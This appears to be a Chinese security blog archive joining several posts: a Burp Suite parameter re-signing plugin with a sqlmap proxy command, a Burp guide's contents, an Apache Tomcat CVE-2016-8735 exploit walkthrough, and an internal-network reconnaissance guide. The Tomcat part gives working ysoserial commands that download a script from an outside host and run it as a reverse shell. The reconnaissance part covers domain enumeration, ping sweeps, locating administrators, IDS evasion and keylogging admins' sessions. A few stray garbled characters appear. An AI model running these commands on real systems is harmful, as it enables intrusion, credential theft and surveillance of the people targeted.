2016年12月

BurpSuite插件分享:图形化重算sign和参数加解密插件

0x00 前言

学习burp插件开发的一些小收获:

BurpSuite插件开发Tips:请求响应参数的AES加解密

后来断断续续尝试写了图形化的版本,也对纯代码版本进行了改进,现做简单描述分享给大家,链接在末尾。

0x01 工具介绍

适用场景:

有些App产生的请求有对参数进行加密处理或者添加sign字段,导致不能直接判断参数内容和修改参数值。
在知道具体算法的前提下,该插件可以实现请求参数的自动加解密操作(Para Encrypter)、在修改参数后自动重新计算sign(Resign)。

前提条件:

需要知道具体的签名或者加解密算法。这可能需要逆向或者其他手段去获取。

插件特性:

  • 可以控制插件生效的组件,包括proxy、scanner、intruder、repeater。
  • 可以控制插件生效的域名和参数。
  • 目前Resign支持md5的sign算法,Para Encrypter支持AES、Base64。
  • 支持右键”发送到”插件的功能。

0x02 界面和使用

Resign界面展示及说明

bp.png

Resign使用演示

resign.gif

Para Encrypter界面展示及说明

bp1.png

Para Encrypter使用演示

和resign插件类似,不再重复

与SQLMAP的配合

sqlmap.py -u "http://www.test.com/a.php?id=1" --proxy=http://127.0.0.1:8080 --skip-urlencode

通过以上方法,sqlmap的请求也可以通过burp进行进行处理,好基友有通过此方法成功找到过SQL注入。–proxy参数就是burp的代理地址;–skip-urlencode是为了保证在burp对参数进行处理前参数还是原始明文,没有经过URL编码。

0x03 纯代码版本

其实我个人是更倾向使用这个版本的,它的灵活性是图像版本没有办法比的,可以自由修改代码然后从新打包使用。

熟悉Java的朋友建议使用该版本,进行自己的修改和调整。源码中都有较为详细的注释,欢迎fork阅读。

0x04 Change Log

  • 增加SHA1算法支持;
  • 增加自定义排序支持;
  • 增加支持多行删除;
  • 增加字符拼接控制:是否只使用value,指定拼接连接符;
  • 调整插件生效范围策略:主要针对单个请求(就像burp的原生组件一样),也就是说对于每个单独的请求都需从新配置。但是如果同域下其他接口的签名参数和方法完全一样,则可以不用重新配置;
  • 修复排序后删除异常的问题;
  • 修复“发送到 Resign”中的URL编码问题。
  • 支持时间戳形式的参数值,通过获取当前系统时间实现。
  • 优化了log输出格式。

0x04 源码和下载

在github上分享相应的源码:

使用中如有问题,欢迎在github上给我提issue。

BurpSuite 实战指南

前言

刚接触web安全的时候,非常想找到一款集成型的渗透测试工具,找来找去,最终选择了Burp Suite,除了它功能强大之外,还有就是好用,易于上手。于是就从网上下载了一个破解版的来用,记得那时候好像是1.2版本,功能也没有现在这么强大。在使用的过程中,慢慢发现,网上系统全量的介绍BurpSuite的书籍太少了,大多是零星、片段的讲解,不成体系。后来慢慢地出现了不少介绍BurpSuite的视频,现状也变得越来越好。但每每遇到不知道的问题时,还是不得不搜寻BurpSuite的官方文档和英文网页来解决问题,也正是这些问题,慢慢让我觉得有必要整理一套全面的BurpSuite中文教程,算是为web安全界做尽自己的一份微薄之力,也才有了你们现在看到的这一系列文章。

我给这些文章取了IT行业图书比较通用的名称: 《BurpSuite实战指南》,您可以称我为中文编写者,文章中的内容主要源于BurpSuite官方文档和多位国外安全大牛的经验总结,我只是在他们的基础上,结合我的经验、理解和实践,编写成现在的中文教程。本书我也没有出版成纸质图书的计划,本着IT人互联分享的精神,放在github,做免费的电子书。于业界,算一份小小的贡献;于自己,算一次总结和锻炼。

章节内容

第一部分 Burp Suite 基础

  1. Burp Suite 安装和环境配置
  2. Burp Suite代理和浏览器设置
  3. 如何使用Burp Suite 代理
  4. SSL和Proxy高级选项
  5. 如何使用Burp Target
  6. 如何使用Burp Spider
  7. 如何使用Burp Scanner
  8. 如何使用Burp Intruder
  9. 如何使用Burp Repeater
  10. 如何使用Burp Sequencer
  11. 如何使用Burp Decoder
  12. 如何使用Burp Comparer

第二部分 Burp Suite 高级

  1. 数据查找和拓展功能的使用
  2. BurpSuite全局参数设置和使用
  3. Burp Suite应用商店插件的使用
  4. 如何编写自己的Burp Suite插件

第三部分 Burp Suite 综合使用

  1. 使用Burp Suite测试Web Services服务
  2. 使用Burp, Sqlmap进行自动化SQL注入渗透测试
  3. 使用Burp、PhantomJS进行XSS检测
  4. 使用Burp 、Android Killer进行安卓app渗透测试

下载地址

Gitbook在线地址:https://www.gitbook.com/book/t0data/burpsuite/details

国内网盘地址:https://pan.baidu.com/s/1eS2w8z4

感谢您阅读此书,阅读过程中,如果发现错误的地方,欢迎发送邮件到 t0data@hotmail.com,感谢您的批评指正。

CVE-2016-8735 Apache Tomcat Remote Code Execution

构造命令

Win ping一次命令:

ping -n 1 qjkpla.ceye.io

Linux ping 一次命令:

ping -c 1 qjkpla.ceye.io

利用Ceye回显看是否存在漏洞:

java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口 Groovy1 "ping -c Groovy1.test.qjkpla.ceye.io"

poc1.png

DNS回显能返回数据,说明执行了Ping命令,也就是说漏洞存在

poc2.png

直接NC监听服务:

nc -l -vv 12555

poc3.png

然后构造命令:下载我们的反弹脚本:(之前用bash命令反弹没有成功所以使用Python脚本进行反弹)

java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口 Groovy1 "wget http://rinige.com/back.py -O /tmp/x.py"

执行完此命令继续构造命令,去执行刚在wget的脚本

java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口Groovy1 "python /tmp/x.py 反弹主机地址 反弹端口"

poc4.png

成功反弹:

poc5.png

poc6.png

提供一下测试环境和新编译的ysoserial:

  • 环境:apache-tomcat-8.0.36

链接:http://pan.baidu.com/s/1i4H9ryH 密码:0jeu

内网渗透定位技术总结

0x01 前言

说起内网定位,无论针对内网查找资料还是针对特殊人物都是非常实用的一项技术。这里把目前能够利用的手段&工具都一一进行讲解。

0x02 服务器(机器)定位

收集域以及域内用户信息

  • 收集域内域控制器信息
  • 收集域控上域用户登录日志信息
  • 收集域内所有用户名以及全名、备注等信息
  • 收集域内工作组信息
  • 收集域管理员帐号信息
  • 收集域内网段划分信息
  • 收集域内组织单位信息

常用收集域信息命令:

Net use
Net view
Tasklist /v
Ipconfig /all 
net group /domain 获得所有域用户组列表
net group “domain admins” /domain 获得域管理员列表
net group “enterprise admins” /domain 获得企业管理员列表
net localgroup administrators /domain 获取域内置administrators组用户(enterprise admins、domain admins)
net group “domain controllers” /domain 获得域控制器列表
net group “domain computers” /domain 获得所有域成员计算机列表
net user /domain 获得所有域用户列表
net user someuser /domain 获得指定账户someuser的详细信息
net accounts /domain 获得域密码策略设置,密码长短,错误锁定等信息
nltest /domain_trusts 获取域信任信息

net view 看机器注释或许能得到当前活动状态的机器列表,tasklist可以得到当前机器跑着的域账号。

结构分析

从计算机名获取ipv4地址:

使用nbtstat命令可以实现:nbtstat -a DC1,ping命令也可以实现:

C:\Documents and Settings\Administrator\Desktop>ping -n 1 DC1 -4

Pinging DC1.centoso.com [192.168.206.100] with 32 bytes of data:

Reply from 192.168.206.100: bytes=32 time<1ms TTL=128

Ping statistics for 192.168.206.100:
 Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
 Minimum = 0ms, Maximum = 0ms, Average = 0ms

如果计算机名很多的时候,可以利用bat批量ping获取ip:

@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j)
)
)

10.jpg

最后可以把所有得到domain admins账号再net user 下,为这些信息按内容分别建立文件进行分析。

例如:

  • Users.txt 存放和用户信息有关的内容
  • Group.txt 存放和分组信息相关的内容

信息收集的姿势:

  • 人事组织结构图

例如:

789243degw1eift8ttyncj20q60a1adc_meitu_1.jpg

像这种人事组织结构图,很多公司和企业的外部站点上就有。然后结合分析人事资料里相关员工全称与域内用户名对应关系,就能很快定位到需要定位的人员使用的机器。

  • 内部邮箱

如果你能进某个用户内部邮箱,也可以从邮件头提取有用的信息。找寻跟目标用户来往的邮件,仔细查看邮件头。“X-Originating-IP”头经常会出现,这就可以让你追踪到目标IP。

  • 工具

常用工具:Dsquery/Dsget,Ldifde,Csvde,Adexplorer,Adfind,wmi,powershell…

工具使用参考:初级域渗透系列 – 01. 基本介绍&信息获取

注:控制扫描的频率和速度,可以大大降低触发IDS的风险,针对windows机器,可以考虑用wmi脚本和powershell脚本进行扫描,低频扫描可以很容易的绕过IDS的规则,同时可以考虑使用内网管理工具使用的相同协议进行扫描探测。Tips:

内网无工具扫描

http://rinige.com/index.php/archives/112/

一条 cmd 命令解决:

for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | find /i "ttl"

ping 整个 c 段,只输出有响应的主机。

% H" g% Q+ _6 q- P7 t

更变态的:

4 o4 g8 X- v9 x& w

域机器对应 IP

FOR /F "eol=- tokens=1 delims=\ " %a IN ('net view') DO @(echo name: %a, ip: & ping %a -w 1 -n 1 | 
find /i "ttl" & echo.)

把 net view 的结果,挨个 ping 一遍,并输出机器名和 ip 地址。

找主机名

for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Pinging"

B 段查找

for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Pinging"

Win7

for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Pinging"
for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Pinging"

改成

for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Ping"
for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Ping"

就可以兼容 Win7 了。(Win7 ping -a 输出结果关键词为 “Ping”)

另外findstr /i “pinging” 或 findstr /i “ping” 可以换成 findstr “[” 的 可以适合多语言环境

0x03 文件定位

结合服务器定位总结出文件定位的大致思路:

  • 定位人力资源主管个人机
  • 定位人力资源相关文档存放位置
  • 从人力资源文档中找相关人
  • 定位相关人的机器
  • 监视相关人工作时存放文档的位置
  • 列出存放文档服务器的目录

20161201183217_meitu_2.jpg

文件定位需要注意的点:

  • 产品名称
  • 内部名称
  • 项目负责人
  • 项目团队
  • 生产部(分公司,工厂,代工厂)

经验

  1. FTP
  2. SMB
  3. DCNETLOGON\
  4. 产品管理系统(仓库管理系统)
  5. 各种数据库
  6. 其他服务器(分公司,工厂,代工厂)

定位文件服务器请参考上一节定位服务器(机器),定位到文件服务器和某个人,对于文件定位来说应该会事半功倍。这里就不过多叙述了。

参考:后渗透攻防的信息收集

0x04 管理员定位

工具

psloggedon.exe

系统自带工具。通过检验注册表里HKEY_USERS的key值来查询谁登陆过机器,同样也调用到了NetSessionEnum API。某些功能需要管理员权限

psloggedon.png

netsess.exe

netsess.exe的原理也是调用NetSessionEnum API,并且在远程主机上无需管理员权限。

netsess.png

PVEFindADUser.exe

用于枚举域用户以及登陆过特定系统的用户,需要管理员权限。工具描述:corelan

pvefindaduser.png

netview.exe

使用WinAPI枚举系统,利用 NetSessionEnum 来找寻登陆sessions, 利用NetShareEnum来找寻共享 , 利用 NetWkstaUserEnum 来枚举登陆的用户。它也能查询共享入口和有价值用户,还能使用延迟和抖动。绝大部分功能不需要管理员权限。

netview.png

Nmap的Nse脚本

如果你有域账户或者本地账户,你可以使用Nmap的smb-enum-sessions.nse 脚本来获取远程机器的登录session,并且不需要管理员权限。

参考:

nmap.sessions.png

Smbexec&Veil-Pillage

然后Smbexec有个 checkda模块,它可以检测域管进程和域管登陆。Veil-Pillage有它的 user_hunter 和group_hunter 模块,这两个工具都需要管理员权限。

hunter

hunter是一款利用 Windows API 调用来枚举跳板机上的用户登录信息的工具,无需管理员权限

file.png

domain.png

delay.png

groups.png

users_per_group.png

Active Directory

你可以通过AD信息来识别一些连接到服务器的用户

参考:

PowerShell

上面也曾提到针对windows机器,可以考虑用wmi脚本和powershell脚本进行扫描,低频扫描可以很容易的绕过IDS的规则。PowerShell有很多方法Windows Api并且绕过白名单。

参考:

PowerView

PowerView 里面有一些功能可以辅助找寻定位关键用户。要找到目标对应的用户时Get-UserProperties 将会提取所有用户的属性,并且Invoke-UserFieldSearch可以根据通配符来找寻特定用户的相关属性。这可以缩小目标搜索范围。比如说:我们使用这些功能来找Linux管理员组和其相关的成员,就可以追踪和键盘记录他们的putty/ssh会话。

Invoke-UserHunter 功能可以找到域内特定用户群。它支持一个用户名,用户列表,或域组查询,并支持一个主机列表或查询可用的主机域名。它会使用 Get-NetSessions 和Get-NetLoggedon(调用NetSessionEnum和 NetWkstaUserEnum API) 对每个服务器跑一遍而且会比较结果筛选出目标用户集。而且这个工具不需要管理员权限。

命令参考:

Get-NetGroups -> Get-NetGroup
Get-UserProperties -> Get-UserProperty
Invoke-UserFieldSearch -> Find-UserField
Get-NetSessions -> Get-NetSession
Invoke-StealthUserHunter -> Invoke-UserHunter -Stealth
Invoke-UserProcessHunter -> Invoke-ProcessHunter -Username X
Get-NetProcesses -> Get-NetProcess
Get-UserLogonEvents -> Get-UserEvent
Invoke-UserEventHunter -> Invoke-EventHunter

userhunter.png

Invoke-StealthUserHunter 只要一个查询就可以获取域内所有用户, 从user.HomeDirectories提取所有用户, 并且会对每个服务器进行Get-NetSessions 获取。无需使用 Invoke-UserHunter对每台机器操作,这个办法的隐蔽性就更高一点,但是涉及到的机器面不一定那么全。

一般默认使用Invoke-StealthUserHunter ,除非找不到我们所需,才会去使用Invoke-UserHunter方法。

stealth.userhunter.png

Invoke-UserProcessHunter是PowerView 的新功能。利用Get-NetProcesses cmdlet 来枚举远程机器的tasklists和进程寻找目标用户。这个枚举功能需要管理员权限。

process_hunter.png

Get-UserLogonEvents cmdlet可以查询查询登录事件(如:ID 4624)远程主机,Invoke-UserEventHunter 查询特定用户在域控上面的登陆日志,需要域管理权限。

参考:

user_event_hunter.png

其他一些姿势

  • 内部邮箱

如果你能进某个用户内部邮箱,也可以从邮件头提权有用的信息。找寻跟目标用户来往的邮件,仔细查看邮件头。“X-Originating-IP”头经常会出现,这就可以让你追踪到目标IP。

  • 查找域管进程

Scott Sutherland (@_nullbind) 2012年写了篇查找域管进程的文章。 其中详细讲述了如何使用tasklist和nbtscan的批处理来扫描机器及用户。不过远程tasklist的时候,需要本地管理员权限。

参考:

hunt for domain admin processes

0x05 总结

内网渗透,不是简单的耍流氓的说”可内网渗透”或者“内网漫游”,有着更高更深的责任和需求,有着更多设备和报警及防护软件(如Bit9,惠普ARCsight,Mandiant等等)的突破,有着更多网络拓扑和结构需要清晰洞察,有着更多的域控和域需要占领。 定位到内网管理员或者管理员上过的机器或者定位到文件和某个人,对于内网渗透来说应该会事半功倍。

0x06 参考